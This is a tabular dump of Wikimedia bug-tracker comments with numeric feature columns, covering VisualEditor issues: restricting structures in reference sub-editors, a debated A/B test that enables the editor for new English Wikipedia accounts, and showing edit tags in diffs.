I was thinking of having such tools hidden under an ""advanced tools"" collapsed block in the toolbar, but we should properly look at this rather than just commit to the way to do it in a Bugzilla thread. :-) Ideally we'd rather not have individual wikis trying to come up with local-only ""solutions"" to this.",,,1371429262,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.5,4.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,0.0,2.5,0.0,5.5,13.5,0.0,3.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,12.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,5.0,1.5,11.0,0.5,0.5,6.5,0.0,0.5,0.0,0.5,6.5,0.0,0.5,0.0,3.5,13.5,5.5,0.0,3.0,0.0,3.5,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.0,3.5930306905370846,0.7087595907928389,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The objective of VE is for even power users to never need to enter the wikitext editor. Fixing broken usage would be an example of a use case that we'd want to support.

QUOTE
QUOTE
QUOTE

I was thinking of having such tools hidden under an ""advanced tools"" collapsed block in the toolbar, but we should properly look at this rather than just commit to the way to do it in a Bugzilla thread. :-) Ideally we'd rather not have individual wikis trying to come up with local-only ""solutions"" to this."
240182,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #2)
> Maybe we can discourage users from doing these things in some way, but we
> can't
> just not support this, as users have to be able to edit these back into a
> more
> rational use.

On enwiki there is never any good reason to have headings or images in references. In the 0.000001% of cases where it is actually wanted, it can just be done using the wikitext source editor, I think.

However, I can understand that other wikis might want this functionality in VE for some reason, so I suppose enwiki could hide the relevant functionality via CSS or something like that if you think it would be better.",,,1371426645,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,False,,,-3,,1.5,1.0,0.0,1.0,0.0,3.5,1.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.5,3.0,0.0,4.0,10.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,4.0,5.5,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,8.5,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,2.5,2.5,10.0,3.5,1.5,5.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,6.0,10.5,6.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,3.868024132730015,0.7963800904977376,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

On enwiki there is never any good reason to have headings or images in references. In the 0.000001% of cases where it is actually wanted, it can just be done using the wikitext source editor, I think.

However, I can understand that other wikis might want this functionality in VE for some reason, so I suppose enwiki could hide the relevant functionality via CSS or something like that if you think it would be better."
240177,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #1)
> (In reply to comment #0)
> > lists, headings and images
> 
> Sorry, the list functionality has been correctly removed from this view. It
> is only headings and images that need to be hidden.


Regrettably, wikitext does actually pretty much everything inside references except other references (though some, ahem, ""enterprising"" users have found a way around that intentional limit). Examples:

  https://www.mediawiki.org/wiki/VisualEditor:TestReferenceContents

Maybe we can discourage users from doing these things in some way, but we can't just not support this, as users have to be able to edit these back into a more rational use.

(The reason that these were removed are that you're not allowed lists in image captions; we're clearly going to have to split what things the sub-editors can allow by type. Created that as bug 49657.)",,,1371422468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,True,,,-3,,1.5,0.5,0.0,0.5,2.0,2.5,1.5,0.0,0.5,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.5,7.5,12.0,0.5,3.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,4.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,15.0,1.5,3.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.5,0.0,0.5,2.5,2.0,6.5,2.5,0.5,7.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,2.5,12.0,2.0,0.0,1.0,0.0,2.5,0.0,1.5,1.0,0.0,1.5,0.5,0.0,0.0,3.885714285714286,0.7785714285714286,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


Regrettably, wikitext does actually pretty much everything inside references except other references (though some, ahem, ""enterprising"" users have found a way around that intentional limit). Examples:

  URL

Maybe we can discourage users from doing these things in some way, but we can't just not support this, as users have to be able to edit these back into a more rational use.

(The reason that these were removed are that you're not allowed lists in image captions; we're clearly going to have to split what things the sub-editors can allow by type. Created that as bug 49657.)"
240173,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #0)
> lists, headings and images

Sorry, the list functionality has been correctly removed from this view. It is only headings and images that need to be hidden.",,,1371297776,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,"(In reply to comment #0)
QUOTE

Sorry, the list functionality has been correctly removed from this view. It is only headings and images that need to be hidden."
51604,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"This is to run from 19 June (end on with the Notifications split test, so we don't much their data up).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/70737
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49727",Medium,50.0,1371261480,1372093892.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-esg6d3iurlxoqoaozlgc,task_description,resolved,True,c1,2,True,False,True,-3,,2.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0483870967741935,0.6129032258064516,"This is to run from 19 June (end on with the Notifications split test, so we don't much their data up).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
239450,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,https://en.wikipedia.org/w/index.php?title=Humanoid&diff=prev&oldid=561404936,,,1372103132,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
239444,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,https://en.wikipedia.org/w/index.php?title=2013_CONCACAF_Gold_Cup&diff=561404682&oldid=561374126,,,1372103030,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
239439,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"https://en.wikipedia.org/w/index.php?title=Minnesota&curid=19590&diff=561394244&oldid=561292962

Dirty diff, HTML comments being stripped, etc.

Will the VisualEditor team be cleaning up these edits?",,,1372098253,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.043478260869565,0.9130434782608695,"URL

Dirty diff, HTML comments being stripped, etc.

Will the VisualEditor team be cleaning up these edits?"
239437,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,This is now deployed and will run for a week or so to help advise on whether the main switch should be thrown for all users. Data to be published as we get it.,,,1372093892,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,True,,,-1,,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,6.0,3.0,6.0,11.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8888888888888888,This is now deployed and will run for a week or so to help advise on whether the main switch should be thrown for all users. Data to be published as we get it.
239435,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"From <https://en.wikipedia.org/w/index.php?title=Wikipedia:Administrators%27_noticeboard&oldid=560544063#VisualEditor_-_A.2FB_test_launch_on_18_June>:

---
Hey all. We're going to postpone the A/B test for several days; I'll post more details as I get them, but I understand it's largely down to known bugs with the existing software - bugs that you reported, and bugs that were crucial in making a go/no go decision. Thank you to everyone for all your hard work poking at the VE, and for all your reports thus far; it's much appreciated :). Okeyes (WMF) (talk) 19:25, 18 June 2013 (UTC)
---

Thanks to Legoktm for pointing this out to me, otherwise I likely never would've seen it.",,,1371610389,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-2,,3.5,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,3.5,0.0,5.5,9.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,1.0,3.5,2.0,2.0,1.5,3.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.5,0.0,8.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,2.5,0.5,11.5,0.0,2.0,5.5,0.0,1.0,0.0,0.0,2.5,0.5,2.5,0.0,9.0,9.5,5.0,0.0,0.0,0.0,9.0,0.0,1.0,0.5,1.5,3.0,0.5,0.0,0.5,3.371212121212121,0.8106060606060606,"From <URL

---
Hey all. We're going to postpone the A/B test for several days; I'll post more details as I get them, but I understand it's largely down to known bugs with the existing software - bugs that you reported, and bugs that were crucial in making a go/no go decision. Thank you to everyone for all your hard work poking at the VE, and for all your reports thus far; it's much appreciated :). Okeyes (WMF) (talk) 19:25, 18 June 2013 (UTC)
---

Thanks to Legoktm for pointing this out to me, otherwise I likely never would've seen it."
239431,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"I fully agree with MZMcBride :
* I think it's ethically questionable to run experiments on users in this manner
* There are still severe bugs in VisualEditor at this time, so it shouldn't be deployed more widely

And I've more concerns about this kind of experiments :
* There are still a lot of minor/major bugs in VisualEditor at this time, I don't expect new users to have to handle them when discovering Wikipedia edition.
* There are still major limitations on what can be done with VisualEditor (templates, references, ...). What will be the experience for new users if they can only edit some parts of articles ?

I believe this kind of experiment should only be done when VisualEditor is fully functional (when users can do almost every modification they want) and without major bugs left.",,,1371286353,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1.0,0.0,1.0,1.5,1.0,5.5,1.0,0.0,0.0,0.5,1.5,1.5,0.0,2.0,1.5,2.5,0.5,9.0,11.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,6.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.5,1.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,4.5,8.5,3.0,1.0,5.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.5,11.5,3.0,0.5,0.0,0.0,5.5,0.0,3.0,0.5,0.5,0.5,1.0,0.0,0.0,4.104938271604938,0.7160493827160495,"I fully agree with MZMcBride :
* I think it's ethically questionable to run experiments on users in this manner
* There are still severe bugs in VisualEditor at this time, so it shouldn't be deployed more widely

And I've more concerns about this kind of experiments :
* There are still a lot of minor/major bugs in VisualEditor at this time, I don't expect new users to have to handle them when discovering Wikipedia edition.
* There are still major limitations on what can be done with VisualEditor (templates, references, ...). What will be the experience for new users if they can only edit some parts of articles ?

I believe this kind of experiment should only be done when VisualEditor is fully functional (when users can do almost every modification they want) and without major bugs left."
239427,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"(In reply to comment #0)
> This is to run from 19 June (end on with the Notifications split test, so we
> don't much their data up).

June 19 is a few days away. Given some of the recent feedback at [[Wikipedia:VisualEditor/Feedback]] regarding severe bugs in VisualEditor, it doesn't seem like VisualEditor is ready to be deployed more widely.",,,1371266626,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,4.0,0.0,0.0,2.0,2.0,7.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,0.0,2.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,3.736842105263158,0.8421052631578947,"(In reply to comment #0)
QUOTE
QUOTE

June 19 is a few days away. Given some of the recent feedback at [[Wikipedia:VisualEditor/Feedback]] regarding severe bugs in VisualEditor, it doesn't seem like VisualEditor is ready to be deployed more widely."
239423,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"It seems like auto-opting in a user also requires an auto-opt out mechanism. Otherwise, this is a dramatic departure from user expectations. As I understand it, anonymous users currently get the wikitext editor. Nearly every MediaWiki installation, including the one the user was just using use the standard wikitext editor, so suddenly changing that needs to be done cautiously.

Is there currently an auto-opt mechanism? If not, I consider that a blocker to this bug being resolved.

While I think it's ethically questionable to run experiments on users in this manner, one safeguard is ensuring that it's as easy as possible for users to _escape_ such experiments. Within the VisualEditor interface (and possibly elsewhere in the user interface), there should be one-click ""I didn't ask for this"" option to disable VisualEditor. In addition to an option on the editor itself, other areas of the site (such as the post-login screen) could be modified. ""Welcome to Wikipedia! You've been selected to test our beta software. [opt out]"" or similar.",,,1371263231,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0.3333333333333333,0.0,0.0,1.6666666666666667,0.6666666666666666,5.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,1.0,0.0,0.3333333333333333,0.6666666666666666,2.0,0.0,5.0,11.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,12.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,5.666666666666667,3.3333333333333335,7.0,1.3333333333333333,0.6666666666666666,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,0.3333333333333333,0.6666666666666666,0.0,4.666666666666667,11.0,1.6666666666666667,0.3333333333333333,2.0,0.0,4.666666666666667,0.0,0.3333333333333333,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,4.083333333333333,0.7777777777777778,"It seems like auto-opting in a user also requires an auto-opt out mechanism. Otherwise, this is a dramatic departure from user expectations. As I understand it, anonymous users currently get the wikitext editor. Nearly every MediaWiki installation, including the one the user was just using use the standard wikitext editor, so suddenly changing that needs to be done cautiously.

Is there currently an auto-opt mechanism? If not, I consider that a blocker to this bug being resolved.

While I think it's ethically questionable to run experiments on users in this manner, one safeguard is ensuring that it's as easy as possible for users to _escape_ such experiments. Within the VisualEditor interface (and possibly elsewhere in the user interface), there should be one-click ""I didn't ask for this"" option to disable VisualEditor. In addition to an option on the editor itself, other areas of the site (such as the post-login screen) could be modified. ""Welcome to Wikipedia! You've been selected to test our beta software. [opt out]"" or similar."
239419,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"(In reply to comment #2)
> Has en.wikipedia been notified?

This would be good.

From what I can tell, this test only applies to new users, though it's difficult to figure that out based on the current Bugzilla subject text or the related commit. It currently reads as though this will be an A/B on all users, not just new users.",,,1371262864,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,3.0,1.0,11.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,15.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.7916666666666666,"(In reply to comment #2)
QUOTE

This would be good.

From what I can tell, this test only applies to new users, though it's difficult to figure that out based on the current Bugzilla subject text or the related commit. It currently reads as though this will be an A/B on all users, not just new users."
239415,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Related URL: https://gerrit.wikimedia.org/r/68846 (Gerrit Change I94d74fd8abeba465f1f9463890541e8c8f786a43),,,1371262367,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I94d74fd8abeba465f1f9463890541e8c8f786a43)
239411,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Has en.wikipedia been notified?,,,1371262231,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.6,1.0,Has en.wikipedia been notified?
239407,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Related URL: https://gerrit.wikimedia.org/r/68845 (Gerrit Change I5c603ece309d61641d32ccc9eff5ea2890d5b816),,,1371262153,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5c603ece309d61641d32ccc9eff5ea2890d5b816)
51602,VisualEditor: Show VisualEditor tag in diffs,"The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.  This will probably require a core change.  However, I'm filing it here, both so you're aware of it, and because it might need to be configurable (it might be we don't want all tags, such as AbuseFilter, etc. to show on diffs).

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371258900,1373486407.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_description,resolved,True,c1,2,True,False,True,-3,,1.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,3.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,9.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,3.5054945054945055,0.6593406593406593,"The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.  This will probably require a core change.  However, I'm filing it here, both so you're aware of it, and because it might need to be configurable (it might be we don't want all tags, such as AbuseFilter, etc. to show on diffs).

--------------------------
**Version**: unspecified
**Severity**: minor"
239174,VisualEditor: Show VisualEditor tag in diffs,"Change 73004 merged by jenkins-bot:
Remove ""Tag: "" prefix, now that they're in MW core

https://gerrit.wikimedia.org/r/73004",,,1373582616,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,16.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.92,"Change 73004 merged by jenkins-bot:
Remove ""Tag: "" prefix, now that they're in MW core

GERRIT_URL"
